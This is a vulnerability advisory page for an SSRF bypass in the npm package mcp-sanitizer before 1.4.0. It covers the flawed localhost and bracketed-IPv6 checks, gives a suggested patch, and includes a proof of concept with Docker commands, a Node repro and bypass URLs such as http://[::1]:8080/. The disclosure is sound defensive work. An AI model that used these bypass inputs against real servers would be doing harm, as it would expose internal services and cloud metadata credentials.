Live › vulnerability › GHSA-4mfg-r38w-w8fg
Go to dashboardmcp-sanitizer before 1.4.0 fails to block localhost URLs that include an explicit port, and bracketed IPv6 loopback or link-local addresses such as [::1] and [fe80::1]. An attacker who controls a URL passed to a web_fetch or web_scraper tool can make the server fetch internal services and read their responses.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-28 19:56 UTC. All times on this page are UTC.
Applications that use mcp-sanitizer as the security check for outbound URLs in MCP tools such as web_fetch or web_scraper, and then fetch the returned URL. The exposure comes from the data path: user-supplied URLs reach an HTTP client on a host that can reach internal services. Teams that do not use this package or that do not fetch URLs returned by it can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| mcp-sanitizer | npm | < 1.4.0 | 1.4.0 |
npm ls mcp-sanitizer in the project to find the installed version; anything below 1.4.0 is affected.createMCPToolMiddleware or sanitize( with type: 'url' to see whether the sanitized URL is passed to an HTTP client.mcp-sanitizer to 1.4.0 or later.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.
The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.
Bug 1 — Port-guarded localhost check (line 274–276):
// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
throw new Error('URL points to localhost without explicit port');
}
The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.
Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):
// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.
Data flow through the middleware:
src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.tool_name.src/middleware/express.js:548-554 — web_scraper/web_fetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }).src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to _secureSanitizeURL().src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.Both bugs are in the default code path; no special configuration is required to trigger them.
Suggested patch:
--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@
- const hostname = parsedUrl.hostname.toLowerCase();
+ const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@
- if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
- throw new Error('URL points to localhost without explicit port');
+ if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+ throw new Error('URL points to localhost or loopback');
}
@@
- if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+ if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+ hostname.startsWith('fc') || hostname.startsWith('fd')) {
throw new Error(`URL points to link-local address: ${hostname}`);
}
+
+ if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+ throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+ }
Prerequisites: Docker installed; no other dependencies required.
1. Build the Docker image:
docker build \
-f vuln-001/Dockerfile \
-t vuln-001-mcp-sanitizer \
reports/npmAI_754_starman69__mcp-sanitizer
2. Run the PoC:
docker run --rm vuln-001-mcp-sanitizer
The poc.py script inside the image:
127.0.0.1:8080 serving the string INTERNAL_SECRET_DATA_9f3a2b1c.sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates).GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.Expected output (abbreviated):
[BYPASS_CONFIRMED] http://localhost:8080/ blocked=False sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/ blocked=False sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end
Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.
Minimal inline repro (no Docker):
# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
'http://localhost:8080/',
'http://[::1]:8080/',
'http://[fe80::1]:8080/'
]) {
const r = sanitizer.sanitize(url, { type: 'url' });
console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE
This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:
mcp-sanitizer's sanitize() / createMCPToolMiddleware() as the security boundary for outbound URLs, andweb_fetch/web_scraper MCP tools),is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.
Consequences:
http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.
DockerfileFROM node:18-alpine
# Install Python3 for the PoC script
RUN apk add --no-cache python3
WORKDIR /app
# Copy package files first for better layer caching
COPY repo/package.json repo/package-lock.json ./
# Install Node.js dependencies (clean install, no dev deps)
RUN npm ci --ignore-scripts --omit=dev
# Copy library source
COPY repo/src ./src/
# Copy PoC script
COPY vuln-001/poc.py ./poc.py
# Run the PoC by default
CMD ["python3", "poc.py"]
poc.py#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)
Root cause:
src/utils/validation-utils.js:274:
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
- The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
- Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
so the string equality check against "::1" and startsWith("fe80:") both silently fail.
Attack scenario:
1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
This page as .md · .json · in your agent: get_signal("GHSA-4mfg-r38w-w8fg")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.